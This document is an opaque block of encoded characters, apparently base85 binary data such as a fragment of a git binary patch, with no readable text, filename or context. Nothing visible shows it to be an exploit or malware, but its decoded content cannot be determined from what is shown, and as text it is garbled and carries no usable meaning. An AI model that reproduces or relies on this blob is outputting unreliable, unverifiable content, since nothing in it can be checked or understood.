z<0gy&qR?BD!Y%HP6pPs8j`PSPf>QMFO0l)9Ou-JgIGRGuy-Az>G$GwRE2-Fsky=na z=TvFSc$%}aeBItE@T6z8taK6!j)#9BJnX{ichd z(Cad;##dI~E&L?pjai*YMKH|VhuHniDSz4d{gzA6cqojetNG6trR_#uYaZkE)@&*> z`L($-MneQ0jMVR6W1u9esPvZjI#bCZ&0frihObs9GQ73}mVsfW)ofE9Gd%aSAA{XE zPgmR1hXuh`ei+p=FL&TcqeI5`kZNvTD3(#MACooqW-tS?=D0t=qQ)B;x6bXZz$^ew zaKs>i__pR#$oWt3RP%0@L&qdaOchIyIpp*)PteOb@N-M|1LE*7j^!6YlAeSJG3@;E z{AgV+#4naIj@-hh-5cNJrz(P$DL4TS55q!WQ)wmTWw^#Hp4(tNmLsg7vW3TB06lf7 zc%;4w%)UQa!p+R+Ia0WE_fpJZ$SE%}dNX^2wkS+_0PtmLlGkJEfXc?MsS#&Bs^4ur&h4D*V6(vJnC;dqW zQaDgj%y5*p7Qm=JSIu*89WB!w8QzO}7nvn_*tkR=i=$mm3_@Q-vjX^YwvWjrXqDZU zp?^AjbdXE$c#=<7v71KC)mbTD`!M6I%^)LKV;A!)Yw}5~?>aEzC+v#ziI65~9=08n z3RD+AJY%8GNu?dbNJHe(atvk2$Qn?6&37Gftv?q{RssEqWJoJG_1Mk*Y4wCswr{%OC4znD=Skut&J@o;M zTaBwY6AdOuVd?xSaVIRV>7|(nv20%ntYDVVPI)ZpTrM#VB$&mJp}tNK&t*t`72NIO z%qv;`A5g(Lkm)*yd%Gogkn7DkHh@X^-=1=IZFk_>Rq^1cmht7UtDn+MzZ(QXpRr~2 zghu9hNh>5rJehzkNhcM(qSkk)JtmPidlKDT@u~+Y;~WG>xK8q(_~3 zLyF%?F=i$bXWbPX2ZgK7DaPKP(B`Zy2#TAlO?_8yPmTVSvuV>(;vA0Jk9-u4EM0d+3iL@Ab7 zrPfeWHkO_!x$1_hRcNtp)d!Vp{|V5?n@}*s&VL)o!qU0>>-oFec4rpV6r6fKT38ao z+;GZ1Y=}38cLu9rLvcqat;Mc?6ojWo^h3T+@@%*51G}ieycKlo+Nm7 zXInFo(b5UL8$G3}(%o@=%hDze@udWKJ!GNhKTu9E^jkj1xsz|Wb>s+TAJn%ma~g%p z&7hU+|8hs-Y)ippU+TzvhpH*2=r4@>KuAL}j0rA(pGALJvasbX?NjKP1WftX4T)S$ zZ_2+q5a3N1_1q>qbO$_)9sO&3BDMG2kXn1h45L$<;B&*LX1IJ^`>1*P_YbDlo>5P$ zj#__qjL+W#?;3mNRm=E)2K5^NZV~%F zsY;=eg-!D0<#lPE_313l_j}v%RFS|j|2!!CBi7fP^&k81b^YrbZ1 z1_p903j**#fu^wABkuPn5?J4kla<6GeNM-QK#`aE|R^gnec6Y<4?j!N# zZw{;6T8Hc9xk>`@sM3A_Evj@>h@y5O``G#iZsuw25$Vvi46=mU+{P_6H?F%FbiPFE z;?UYFY7$fJC=Z*5j6$WrennQmO@uw5qtWS0AbxOZ+518^ySFPQ zSAMSI!01yGk>E68ka}R&)p3hAM(^u?aFwn%LYPH>4@%FBOo_UfVEjf#{B_^sqMj2x zOAu=ff)*<&AJ56YW*9;iW=SwCWSgfaEIR?&2)Q$O)7~m?)z})C@Lc)dPhYZt+-lbG ze5!Wpc7U|?<9U0Ur?uSnf7=9=<+po%v@ol}M=F0H$p_M2U39LURa^gd8m8!|>esf~ znr)=mwj+{n?OG~k8+XL9Icmvb5J+O!R{c^FhC@>Qp{3J0BuF)=YOxuBhm$>e5Im^j zWi=U5$=^`{i;T&kIdm>b$6)}v6{Rgn69on#GsXV-N+1CF&|A&Pr-l_4QN7#Y zHOO7ma{adwev`O)pmL||pIcq4D(v(OO^FBoLm}#qq69MEVdQk3Kqadxs*(hA@?jHV^$BS-j+1P+5@{-n?< zuMDjnTY`6R-YGVdZFTNv+Z(g5(EG^*&JpuOqC1(O9>@*Wf4xM0Hrm*1nZMo@Ya>y@ zn*4t?BgGV~j(uGHXl4QjF{K6t%j=3$*9!^Wp6AaLp91u?G~7v~5iRgrE-#>AbVh1~ znFcRL!a}nM#k$ZwJ&C}|=mM;uWcI@L;ifMZ3c;9iyO@ZWn{ucTPxB6+gGF8EP|=gf z0Ojl&^Q9-$U~eTr4j*yFLlk$T%BH5dGMI{#<6#r=%H8u zXvsw7ak0f)UZ-caOGK@@`_!R3&x7BU+do8fO{M`R`+*f^JwmMsr)C!vDuJNU;zo6F zc6aZ^tuY2~YI-WCAt1l|)AF%uQzGc&;wdntk))q6>9m*`UiPYQ-)Z0u_9TG6jvq^;yo_AK0P`U{O3HB-`YfR08;hhcbVU#J3UB$F1V zK3HoG9kT__O^7{+kDKH!Ba^tHc51PtA?r;^CbM^0ror(c=jvzisXpUQg%-YHts3Wp zw^<5)k0GQw&h|v6nv;A8Sut;@9`@d{Ysg{7kgMY8tY4urSm>=%KU|)%@4^QR*eX;j zq4_f9+S4D?rik&9_0b<&oNZf}lUnC=%(CZ|<~b-9ye7d-U(j0H5m~k0OB%#VKO+(E zEoMT1j%D95JsrdFDv0^5O)Pg75n1Y}Qfz=N(m;&PI^#jr?i0?kkxX@3DBrvrT=bRV`?S@nABU(aLf>boKx#h zF$IDTgkg3**ef^I4u*&nQ3~j`-CkRBm1gOvvqy(a<_->>*OiyJvEUC0cCQsYFdj?U zo(%KEit2SdVd})J+wsW@hMTf>omH`Gy9y`OFvI7}f=CGh$qBEUh z>9YV-{HtW9)~Vz>lnA@5xRX2AgKk3bBgd!`0XD9t$5C6WESvTej;K~OymQ+` zDa-q?-Y#^wT)i%}r7rZ(?cklYtx8#duT0aDFmqx9c()Q&#;% z%MMPSB>tEs(vHAUbJdq|Cg!cdS^EkXSg0Z2VMG2)K^?T$LPIegT;T2gzz;bepI6gp-ZlFmFYCc&W%R-ESR;N7Q;}&loO>bF@jLqgeut_ z2d)z_3GUFp9lP5sF!K>h&2)T|Ph;36d56o3L2Z(#UlMn8wt1qwL~PsvZWxT!ds^H| z8ki?s_gH*~oX+G$w~crqMpN-ng14`^tw?r*`iv#XgY`9&8N=UtZnL3*Q=Ns_!({?O z8#Gg3N-6Hnk1|zWxytTBhdo$|n*S1NCW0*%wxaxrWL1)hue=i3xpj27Fd?Ub=sv}7 zAvf!~pNok?nynndrVw!QUDw9YYv+z_iIQW3T2nfULmnmPdxV)vr~k8eD*0}OwqDy= z8ruF(hWx6Jn8=aVTsg-8LH(*O5e0!D=~*2svUg#kfztp$(fJygVkLs!g#IO3u-1FU+)3z*h1dAI$C zWZv?oO%7xm=iSXQ12GgdyPMJe{qLXhmJz06kQBGrY}mObW~`$PcnSo%Q0YzjlX zcM+&dc58L*V$ENjXD@4eFHM#2fRS!(&t97(w!cL;v4E;|Ex0GmT_%!Zs*>qNdRNHL zFO$ou(KF1d*SYzNX7O#|a=@;)p|iK4@jU>^)t$MRT;TgyYSH0>vKt5pg$q3tIeR_( zTNQEnP%Tm~Gig7Em;$YatpJ)`d=@8h1Zl#poetWpJd~~9v$d~yatvqlZ<8#WRn4 zrr$<-i%(?DCP5f$;x0d{t5J{R2(8sEGfK!&0fTF9-ej8;H6oO6YTCBVBvA)^0xnuRppeA*Aa<$@a4#`aRPv z=h!u34Z)ow?;;9Cv#cv(EP4J8?7j#8f9;2kNr**$>(fqG$YiUsaDcz()Yfzcrt<6k z&uOdewdP}>abR32D*ToF%g0P^-b2jZh@a^*V!wfJ2oVLspF{RN${ICUC9yPZPZNuX zKJ7D^f-!{h#7cXUSW9BQfQ6Mo-JkNnCT&}viVZuN1XmhSOU6rfxhGD#X2u&MxXdGb zKPB3d`{7N5l-GBTHPT$d#K}dc5ORV-91bX4O-~uvv>iz%Z3fhB6qIyW`ja$7Vn{$Z zkMopW9?Kc$Oo?a-9~KH#O1`RV*GuzW4zlHkf=X-0adi1~$*uY$A5(Bs%UB>!`}V<; z245`nx)vhzC~?yGeo-$+E<_2mKS~xl11ddjXu7NVEH-q{D6uRmq+h1Q8gp2uv2#|- zp{XEiE3}>R0%?n#C{?3OJE7{!ua6iVkZBh)WdNobeH!d1M>Z*ecbibQ5<*l&)RGFNZVw!f_ zCYc_2zwEqH#Ouye<{;plha%B=gpXtq!y}%AL7VxxGmNFoI&Z331sE#py6$n_EfQ!? zAThJ4bbGY;2-=_zygi^_|Ms3fU1Rb%Hm{t&kq+%&{}l@kcjqN9AM6D6zupCbg^+ub zrAV^C0}j%R!vZgsp~2mONdIb#>NdZp8W#A{!>JYlA}Nj_ghc1~x*%BAAv^v#4*GXp z_ShW+v#6VfTnJf9ewzOt6$FiZ{pmRodT4{V-PnkH?C`iStUTTQdL+;jbox54z38a6 zQMN&QkQu7B-4kIPW`z#rx zHGWeuN92aDduDej?z+dXJBtH7n#F9#^+?tDsTL*sOs7s`eW_8XE(8y=3>BJzfhpaD z3{`Aj-LJQkKIJXwm6Rru2IrJw;#Fs_YeKT&~Yegqr+PkE8b`49!M$^IJLB#-YAg}JR9rp3fdHwh(d%^Dq!1+YQ z_0PWju**0I?qXClac|jpzT-{sD)E@nqnmh`;_c@s6&wtqKHl?!i9ze62Yp%-*S(07QtLYyQGK$)hJLn0H7p5}nL>TM6gqv?{}D$9 zEVcja%SW<}Q!v4%k%oE)Qd&EIzQZE(3S|iSKhIe9+xzrhR+Om~#JDut24UuqtBB29 z%`1!C-HiK`u#G$qRg7lr7<77^x3COL?Ocr{6*Gdpcd$=+^Yn~OEBLy(T=QULiM97}0y~*~gb%A+#EJ77KWkZXo_VPsZI|d`~ zgAF;RVx(>%rjE5Lhu(Mm%5%%yreRuq?nOklg>eVQLuNz6EJmmx#c-8Z##7L^M2L8J zDPM*DLD4tuaT?=h!30ojVYFP!@<>oBeRz5W?pMNpgy|mZwtMNd*ZSUy65Zw5uDifu zs-f5!_QDN>v*aZ;xxlDNQ=KnO>dX{Ysj8K9i;C?U8V)Q{Djp?^y+cFx9h190=i#YZ z)f!+siud<^xQ+DfWyo=s*X=}8kyg$?ps7=tya)tcWv>$h|7>EEz};&9V| z)W$fdZ1O)5N=7(~K%Aqr-}ng9Nd{1>x|q=_et(L#vSHavT$$j!LnpU!4VFsci^vE} zy(P}}+WlHjgGUFoV7=<0>tuFIgX}~?aX_*zi|PJr9X<|^*LlAa0*-$%!FvRFp1$)1 zAqe~4*RQ^o)z4|<{NMG`Lr-*^kBu>;w#z94E3FIQ-0>x+7jnF>5lt-gs>g~YCTM*N z^Pf9Bi~QQo^Pt#vJG_&=EOCc&n*=ZuaiU=6Xnig+wbUy)<<)C@CSzw5%<$fK2lV_< zf)RFBzygpP{=4~c7a{U!Mh26!w*uKoss3n~;IOnEDjh<#zXK+P{|sPMtD|Is1zXf( zDbmem#f({@BR@^0205k$_rcQ!PZ+coj`Z0OUF;mP{D8-H_=oN$i;C{nOfjTaiu{{` zoBr6Z=0>b#UqgP|M1=cV%h4heDa3qED}q;!Y%6>6WY0esa8BzL9ir>M!$8v8Qvo@PGQA^@WBz&KT!pl# zmk=%Zk9>#xymp}|t=tf^S?JI?i z&zw(2oRGeTY_mX>c5@iTH8h)q_~b9s5J3XY+_53XlwtXt6QY*FVKfd?mUbaeejB|m zcE}__5kXm>T$Jz0r1RFlgnpEN=ORO(t_!!aMAePL4~qdD{G`PC(ZEL~ERGzYCaEF) z6+>Oh)2^4{@ijX-&$0hk%^12lvJKfR1uR9mSuAWxzN&HMFJ~uElQ~Z~VTU7(=oh)@ zK*0H5&b>z5>bAg#hUs$e$IIWV(CdwRuW9m)jgR3|h+e(m^1&Vi&zdJHKKv>M1XtZ& zEl9yTHG2Sc+mWlE4NE0pg|7y-4SsirR@8ZbxJ}#Mh9+ItlnmnR?2XE}QhhiOQ(s@d z8zp6F2k6#49^gll(*Z;3OxIYA=9=kH$Z|NZeSSC?P7e2Ghe5q_?xA*J(Kj^IiB(7E zFrah-DC4jQB$h*dOw|X%;%CDk;p4%ythDZ>X@h+n54AxLH@!#8Fs<%0c(Jfh3OtS* zQ2|md_5eGx`-@l{ck;Gjxb++!(2e*ft$su$06q;0H^;6_DU)M9{l}iPFzgDh;C2OO zf_2APfMC8+LOItjONR-lakLT~I6AWQ-1Q~N>rb?H z9L$(N$4ck3RB3> zP}>(2y(Ts0c53BYSY-<_A`9u52I<1__6e;GKa?Sc9RKnLnUfnr7-~|cGWOU`u1&RQ zNnQohyM<7tS&RdPC0;68%L=tZ3F_v~aJGXk_UZ zgkLuf!aD={mKIzz3tJcU&6j)_ok++@khU5$Namot)xW%yATO>pXlwK`WLx_Nn{e@9 zne!Dls72lB5FKFcJJ)dshf7YjT{{+J)`V-BW!dYK%(?y&PpG8G*nW=8KtEU3zAen_mH0-lk%Q~qNGu<)!tx*k<`P*MS2O?? zYV&NdEKFdygQGU)XsoI@uB zEDr_zw3r_Agw$y2|8UZam!E2@KR&IK;C|jXFV8j-YH*W3Xja4(Ik97vDS?mBtV@0L zN`RZ0U)BGzd zF-|;(UN%k*e7Jjg2GHJ7<^+fXz+4WMt0B?&O&T+1=$P7{{88DSI79tCu8#hL2e?Ye zu%3?Ih@HNm$#Y(U=Dk95hgqnGF#iv(Fqx)d5fuN$aqqnb#}o+ zv%Ag~L(+J+W!02t)>1~JL?OrkUVMBGkTz|nLr7@5uw2#xfNMD$1l0vN+@(6?1@v|I zw)=dHfp$NBuX1?Jv#TuIyIssbYNGWa!#OsdkSIh^9}JN`ld5sBPaHg0&!nSQykg&<=-xMSdy;`A2yJ$29TUk z*g-Gj#{QmzombuGV3}L+ghZanWC^t|`uFeOt9R2PSAN=cK$u2ngs=8bqPSvMq24fe zVDkw;RaDU*u>@@04D+7Kw4tZdwR~`2JPtdpclIDs#!iF9MJ=!uC2gSzTpix4?i#3n z+JQwj@OR&9bLjrK0P%EMeLMiz-X5ffB-&p@LmimxL}9Tl|+mTM?fh&_6A2AT|vFUhCZ z-wK4te^hcFfajm)sRmQ~JlBH-vWv{4W|^HO0{*cbOOw%oS;=b0k#hzHG$9Lrdy$2Z zreVk|OCLS#Bw})If+by2tz-?eJ`DAA57Q8rwgXZ5<%<)^LWrqr4OQpIOZZW8C(&Ywzq%W*@P{SY* z5pX_6;PS^HK@|b&`5aatZwg|Op!aoe7!Hhl;QOgGx>fbMn2@3W07?@P^|J$#g+bz)LLt(;x3|XNb!CmA4bC3uO%2n z{Mu<@e{M@{2rAZ=6t=!LuzjRELF8ox+E?Vm0P5@Y(Nn6>onePR{gt6h-|#+Xr+61< zDOgiSMRpbuvhBgbE#bXt1Wc{KTZ8-I=UYbouQdSGC+jB9OfCEK3x9&4^FFbz!l%Fr zA&pkjQF+%SO8Fu(^CqFzhsQX)X^d6+{6E5rGha*!qj27cx*POKFm&jwI1uQgLcHp@ zMCYe|waEw+#@NXz%AqAUkyQiscxpeRh<(1Sd9hW&ci4Y1#7mb8S1)UUR|LR~# zcXO7ykcir544*wLxofJ!H3}`cG{wdzR@;}p+w-3SHQ`eC&*9}qUW|8OH8SE|9KJ+2 z)O_@&2Y0yHwRoJrf^G-z8dDwot%VwL8+2g5I{?t~$m7($0(fU>QL+#-C+b+7u=g!nB@|8h` zgM-71_W8sNuj5mVgfel%+m0{XE|w>{plM$K*kRJg_WrCprSl0Cb{>+qP7*-+-B_m56SYq zE?;)Seq=x;r1qSrX4=UAW^i?!rAM&S@2UnK9f6W{${nq`Bt_`e#fUXKG5UL-%QQ6`4 zR7u+^C52@W4wZohTIjon6==6sKNZIVcSUUwZKXVnyc@E|_&gRuI;?wM)pO@>wRA6# zKcNsPw58FkQs2zeF&Vv#iA=V1 zh80W*E1$}wW3k=nmE?`9`3}49AFDuPf}o|z0#uy)_{)Q%;#AJmw9T{J!Xm7@ejg3{ zHAC^n+h%y$xLU!{P4pqD8AfD=jRfrdD%F->*Xk0ct5hfZvqas?!?S;0Yky;l=ktr z_w$B?a`V%elI6zxW9Q_($v^Crx6!hE?-}vzzsnqgiDD){2oy#Rhd*)F$OBt1xNq|R zYuN8_uSF|1v8MHVLj#a}dfsl&ovb1Qn^v`d#S1&iXWgK6rUU0Dd76@RwnFCpeCTTx8NYlpTwZ-1m?0=Bc~a{rQyGQL$)?vgJ%jAHBxJ6}oRi z!9db~vG@Ryrnu&b!d7k4Jj;09Uwz^mCEJ=8K`=uju?*K(7I?HQc8={!2r+}_W4a6{ z6(*rw7_B{oQG~CF@7CCE^LwKJQ)CpFBRWE`+kCy`*luLM@JYH#*Ao$f04>5^DQg4m z+1@m&q~?Be)=~ZF`ehxH<${3uqf0F)9hMMXIxSX#jJ;v9s3V=8K$nH9>P`iCUb0lg z*~&^JM$Dn94)`O*_$B%t0F!qfGC0J5phbKrKbxXFU9*0)_H?z8(RB?90OQ_|ni+*1 zp4<2|5wx)Nxu86&+KLpHYot&jn%(m7wQyI?9cwgJ63j77e{(%@7>u8I#UG zy8sh?euFvv{>`6Yb=W&m6cV|c6#kdT8=~{|07aDraLESRQo3$SBz`Lro$M9w9!aMl z#!~-87t)GNEJj)6!~O9{-|1Bw1Osp;9{)M{MJKgve@7>{d&$+jw(BwLN?+{t^X;n4 zBEudoeu(aOQP8PZs9|h2(8zZbh)d<&=Uo&?JFOop@Tj;eXj0AA7)d~SqI=%wQ##o) z8(u(gJFl=t1N`texU%w%-@0ZE0ObL-ny&6wx>rp8Oy5j-Z9UQ-46F6z2i%lSHt^TvIdgy%c8>XJIzF5d~xX5o~o^jIPk9l>at ze`z_ubtZ$d{Kv0LXWJeixTy84snsku&n_}Tv{cM#tnh;t?Of6CQ|RYKlo&iiKh1W< zL+D9E#~BdB;I<|_iw#%c$1h0@=#0P0FN zOWnr~j-hZA@hqEvlrr;KNYE$cccB-&xwS&_kUQi)V>wjS-+e#EB)4_mcDn=`kL~H{ zLUE3#R@4X|Ef~e(P7+AYx!C@{0q`i)xV|XbR%1(z2xOFg3lNqFvC#=eNhgq)*X(25 z^=&TK_Yrf(2p0y*`ESjg(U8#nOiH9+M*k<_$YU44o}M&)zt2ShV$jN9r4jA*209|} zq!=~+kopMO%QCgsFSmo)=>pMB_djr7Ap%;R*Vuo?0(r5n&)0L(YLo3R+~&*GaIY!( zmMHaX?{3pV$70As36H-EuDo1X=c7bnIg$`Sg~KbB>m%l5I8eCBBCr#lrXN2&8+t!m zAdY#)MRS`=x0!W%Lv?Xedp;jKIgvrF?`mgCB_EsVnoaVxkB^Rm{~o+4#w|v}TN!Jg zk()PI5E}XeXRRcK(oY0c(2N*oy?+kf~?D`%6Q1}65>o~c&D^Shx452-!N@}<3o(JUT+jb*Fa88_4VmZqBg zRWhHjYOJivzuuCWC6&1&dT|2~jjw(suPn`p)wXLKZ8-U(CZddjQ#(b2zMr|12H}m) z5cj7G5hh9(J2+mJDVR0Dwv_`)rf7cCqmD8P^>8h@4p}us(d(B)2^WbjikT(cd$Z?^$%Q$YYoyGr_4eg3?9%SE1@>d12XeFzFQ6;$oD68f`Ur*>M?W>JQ zQuKE6|6>8XjFAlU&|3sH;pC<4dkb{c^AWzL5pa-68p*>7=NjB#4r-we&{O1 zcAo0=Lse}(J+yVhoFiJi;p!~Aofg0QI`j7Yt4Cpd(=lk;K1~52d$>PV!LA0SVWur@ z&fE5W_T;~^4hl7MYMk&NMnzQde6cm6tAiM5hMz%3ZVq*u7~^CM2=xJx z7KKU@aa#^H34v6zL1H5*9`73CUVAl4X3AMe+R8=8B}x)M1jZ4B@SMBvpC-zFS%t;C zHwxXcCpcRSP&GN8?}1Ubm|Tb12YH|kyUQvZY1;p=6^KcqXre8g@-onNHKfe$l1ewk zq1kZx7AWXzRiyVQyjIjdMPl5UD6ZBy(Sx8Wn=Qk(Ypn^e*HQ%PahyVrcd?o*ca9%G zH3;kv+sAq|Pk3mbaGZ#02~)l;yH0$f*vJy=N3Woza=SCLO^pta4orSTDAtbN&vpO| zf6nG{Tr7gFN1LyAU#T`818A<-rQ#H$`;LPfQlkGSGw@HNs#(I__6#5!I~?vEeZ%$^ zc^iOC5zgTkck5F*O!~g990*4A-q*EwO_2Q7J~t;(*jc5z+#8DLg-F5m*?vze-EGvb zcgY3o&ud%%tCz6AsE^m|YCZPiPh`U_izXDbABQfQ zG{U18lZu}nw#cRgpDro0Ed#P<;onGU_%f0Ljq7cb@{D8fljQk~FOU8m(%UnQP)ii& z?Bg{6w}D`1fOlBQ9(eP<6C#_0ZpiXUcDgg-K+dXDwbshMHrtiKkKR<9Q{d3KX~h}aBba2{ z50e^p3XE-SUEiV!VQp^PAj79sm2a)Y+X*6B^%JQomEqc{@j|m2MQShmJW3gIU0~7hlG{$3v4yOq;Y!;^v7tQr~CF%UskfL-J7@Yb87zCnGzUv z_p4W8{cFT00W}MLPiY^M(ox#8h!4-c6D+2Wj^E^j5acU|8)pqnDkV*qNkF8cP)Xm} zy~*H24pPIH8MPAQVpR8Ofiwbs;M>UUes<3M-NMj&!2S99?KXTb3bCRlW^;zflumPcJCP3^6ZS7za4qOG4Q_63t);` z|9)yRKQ`b^6c=E;>|u=FFZK2H!Y|wBX{4APq#7wMaC2QTR*xrwY|f5V;qh1qIoO5n zUm_jHPss+G1_#`9%7mAf3<_WAm-}`hJ8!A4rs+p)RE3x#$RNLi$*dday}>)8Cg|!j z14oLpY}Q+gR=rHBHk$x7#hoL;mSQo$%E3fmMD z;C^fXt2yjDB~c6TNs|_~Kw&7`Kkbs>G~;`TbuIz{@PkWCWb*!ZJ)P+A1k1;=wpcTs zTpfBYRntqU%4MeP5E$A|1N%IYhMXB`c|T!nvNJFnrKd}**U0vJuud|fdxNRawfX6b z-;rxc{8Dx2cd6df)n%YDCYM|DuSy-)_LAvy5H-Am@U-utr1M*StH`70sMLSVut|iW z7L~-3q>OfX$Boz}vxggH5J(B6!J5gHT*62N#L*7M2PF@}`_+^3EO;j6XhqkC*Y(q= ziQ`iH?*3}DO{mqL;rcdNMM{t3CpGFCffD%V$t4p~>11efY#mKi(R121=QI+(S#0IL zTCoWK5CJI&P$D=F&;^!$&UHXQs=^3=vhWHx&DNde{lNXyU_QNK#ixeKoh@WxSV{+s*MlNB!>R z*$QmBkz-#{0IwNPix}vXrZsaBfz0+lQNR%xpe=Mp7q_-!)$T*5kt_@A7!2asQnwEY zG%E4?c-_PCSY0ywGklGNknH9*@%cLC(mYGjb1&@#Lo6W6a}X8>PGLIOhtq+^I+fZft1M&RT9%uP)7~I35nCi`y8{z$LrM$H(A@CgaAObYFKFH4s&Yu-#(AT`< z6|~#6UtryV7DIKc-tc67?~(gTLr?akk0yTycrh5i4OU>D>E))9I{A}_I{QZ*Y9WLZ z;A*p>3(UCxm&Nk9WptQ7*MOsg{2x2f6qkKMfDDql%q^JvczG0Nrsmi<&Ol9 zjI}vlsJc;6M!ktXwdfLozmo)2DYI0VZU$H4?h@`}j_OkTeN#Hh>4BMVQP;Ktdn$0M zk~JPXy>1&X^Q=O!N$6-|$U5H<__OYAzH!|!EhMS3xC#fsGjNdD1E|S^wE)qt0x0#~(YL8yyZ;xpdAY1*ag|8_DUh@8AAen;O?;4BCn9 zxqMR2W^^kyorVDMNJ*k}TV5N^jUH4XE`_5^LWmlFHG>-4vB#s<&CPi>;ozrvXf>Tc z_$F_Q9UO9byHzf#An~IdW@C+29pxN7$zA!Ja_0+aAsL*aWnAp2cuaySPYE18CE7C} z9E(4@rV|4mID`5*dF~RG0e##Q>XY8W7jYP@R0|cZz^o8TS2g6+*I5EcBgduOI_2%T z0iK>opPQ@Q`6g|u!egg*V`Z`Oq`o|v$)g4ox80(>M!{ncY~Pg#bQOD@v$0ua$gc{krZ;WB{9Q_*N77J+rsANezg$4Jl27-O z4YK};haZjMkQW_U&Iznn+k@pd8do@7?>u`qao}i?p7dIs1_G&2)cf(%&m}kPR&Hsp$`;#V4xOK?TYs zfPP)I5d|r$LaE=;xqC?ZoN%WEPI2ZEXDlu?2{k{oM$U=}D6!V+XxaqwRAP}U;gMLa zDfqA*sD{xkM+O#&?1OV6!sTY$Jg9!n|MZNeooKbH+(i*~*A9ZNl$v6GrUERQ~n z;JD^teAE0n;zmPiO>2RlrM3c(ZAXYdSqeTklUIoc4JGpHd_<9$srcr%Lctu+}WLdooIC+@&fH^VUYBQUE&<8iyO2+6*AU`Hoe8L{?T zMc}j;=7d$ey6x!m(a+Fo?W06&?A+PJpBiFz;tl(0I)d*(Ak`4ze(5!(vv_!VJA-as zAo$I8%k=qeQ65u0<2H2OGJjw-Qq}kWni}9_cnAJV%I%)yo$<7uqo*(*Wd(BKUT7XV zB)DzeLCuz&1Ac&}7cZ{r! zRg)9dNSO}CDiAr?KxwF0Lx}k(G*OWggRgkeaT9%^(K{aAyyd$V2zUBPL|6vVXPDd2 z9NuIhIiOB>AcDDzyZs;Do}iZ-!M+%A50)fVUZiLD^?vJ~02l6hTKWLC4qqtJ4+bYv z(YC45e?Y-C^^h78I)&6V4Ar+B+lw>mtmg@IFqV^p>$Gsav3u&mpIn+9p-;O9%@D<| z*b|6HpYEoreE7O&&%28*3MH1EKXIOc&E2TWrV^Q0;F!KebIMOoyohr)0~J5CBJbH2 zS;|VUC^+Yi=rt!q3WF@v0z4gRGE`C2FS|YvFC{r9fhA352q@>Esdx~fRRxxDsXqGB zdCghm1t+Vq7m;BT-%PX+tMAUgrqd4O=vWrob$0b!SW@mqbcM#!H?2`tN#y@g=}_uF zq!4s)< zsZbv6J6ssUGrzaZ4hNiXUZXeJ8+5a^d%T@S8p0c_Fu49W*i?BqkvRV5vH^oZ)!liX zlvt@Aaxhwe2+9$V#|)bN6%TnCN5ea;v+KZwp2(wWdYeKcCmr@$%EgMZ<0HYJ1vi z)9Ws4ui^4ES1-(04-y`Df8BbY*z~@UzhF-KX$4T94}eZWoEr}Z-k*EcfLJR4Gg&=2 z(2=x*cqS0ySbcPg&-YgSESbH~ZM*~MgBWv?oq~*L9$d}4uD24QgK^e{^)mStvxT>` z^4m%JWFLjCKh_vaWSbvigj~mAaRFy-4zuRFLT2?{UCpn_zRjIpqS@>Aw)c(Zr1XfH zSTNI#w!=g|%(#I}nPT~LYytE7)_bTnMk#_y!P-3ezNjslh{9+IC?fmH-#@#|kt?Pq z@s{cMsU^!+|9CLP2v!bU`@u0F%tV4i&L*yasEfjOC_4TH|Ms$qTgsplZ$QSNj45o4 zm~O>1(@26Q0bPX<4SB6RMOuZdaK1_N+sIu0UyQVJ74eQt!X(p#GAHuHhLTZ#+$_Oh zgz^P0Wely~*8LVK3=&4Ar0T+Vl_cKwkutHD@#-m`?|hZ>dzHi&zl0mdsy=Sy34&l+ zvm+TZN)>xiWYKfptd|paY2t6kKRWlpPk>O!;0P4r?YF7=_yX#Cx_|12z%T=?WP^g| z(wrP5N86%5>qAG3w-umY=87!D@f8UFuy3nqKl}XsEP+7{%HF7KO{C4d$r4N5>nW$v z2sDDdf9ZN!P11RKZAQ}EwirwuJB`2;eCdJ3JtgX4KqVe* ze^ld{vPY@NfepZ(CG&fl$v)9Fm_wE1BBF49xjtd8H|TDRYCWT3LPX`gW*Dd^?^bQv z^uL0@OR6C)-);cPqQQ6Tym)e^1yV0(|TJ#w!fL zaO__H>LCz7nwH4h?7nRMCvfgC?{hTk?L_m|14NyAy6@)qkj$AJO5-7Q#Y*6|oC<=Y zg{)#8gNr;|4{1fv@W2}69Yr`IGrHqG*R_%%`Uz_^vXd(!)Aljfbe zN1BRJc%-kry}zl=RcyF4P1~J}o1>U#;6&BNMUU%CH5#x!QUp4tP@`gB4TeL$K4BQ} zy;swgiL(7X!)kTvYbjY7>QYW9`E6U@3Q9Lkmp#c>K^6|@zP19p^rcu}zCi8w?Pb`> z&QgusdDxMqtmxN2q%ly_9bcoDY-nX4@&GX_+QR^5|xlRI18S}g~+tVcI# z&rg2(6UkNOmp2{7cKDo%B~MibpGfgx2PcFsh?^Q`ggBw(<2e$rk@_;x@+|2nP(Ct7 zE_SFn8*$j>dxa$dee)q~Qrw>%j%KlmBTDId1m*1}>H>ql8f+rLs2(%~kajIq6-u zq}P}?Sglg5I-+*@WpE}QA85YW8Z_@a5&@pu*ukMr>!_`MwPXVm5cPQgFrkktw8F;S z2Eo7g#aP3Ur*E3o*I+5E>| z&y*J~**a7H+KbWc&PQ5`L>O$zXREF&zH49C7`)E6qL%U@V@b$BfGHVjx{=XR*o9wB zAzF6LHqTHjV}0fa5Jq1x&e@p%<8t1r2rnIrY*IGcr38nQgBlmx zG<~GYg{Uj6+ejrM>*j__)c zThG>8F-!oJC^KdT58Ts{T5%BIWE4in(MwOlxJ<+F)ElN&iqYHFEE?sq5i6VQ>p5c` zFX^S1`sHi9UK@k6u7tyWS#da`DMTQt?9#s=<0W3qd6bLLfaaw2`uD@9e1BLqX)?gf z<1cef7vU2csrKIyV_8CSxYM((#vvK?U-rw=;`P!ldc_NB&G#}A+-{)?j~$0uPoKo> zvl}{&(}&}0DfRYMeHGuDBxE7#6Lr~Vm+x_X;5zUA42lX#nHrD}-RyYyTD?va+WcdE z@tJj+rF59UNwf6j|L6J+!*pC;nK1fxVZZN2Fnb$7Cj}F(j)4jjdmaz-W4xJBAy`^B zgnEt?c*j4}=M15g0*;0^u6)d;tE$4XciRsVfKfOW?g!&6VT4e9yWHZ<%;~{{@lii(RrW6j648&rnFjZOk-|L2l^Ojemq`(bjCRG>8MjMQRw(r zP+DHXy(Ea>Jc-c49j`G23oOA^5!}`4`Ke8q03T2BG?QA&o0{|Ik}kO-Ss>9e%_F3{ zd`!F3cHO|*)fd=EP@*#o4Ls#FjtF}BKxD6VhTbI5AI-0NqnaR8M$G0gWr~Fvk!2d} zW6np1C~wNSEN6;=_7_cIO0mP*MyXH&J1>=Co7ePHaA5@-A_D^;(E0&?MlcZhI~u8c 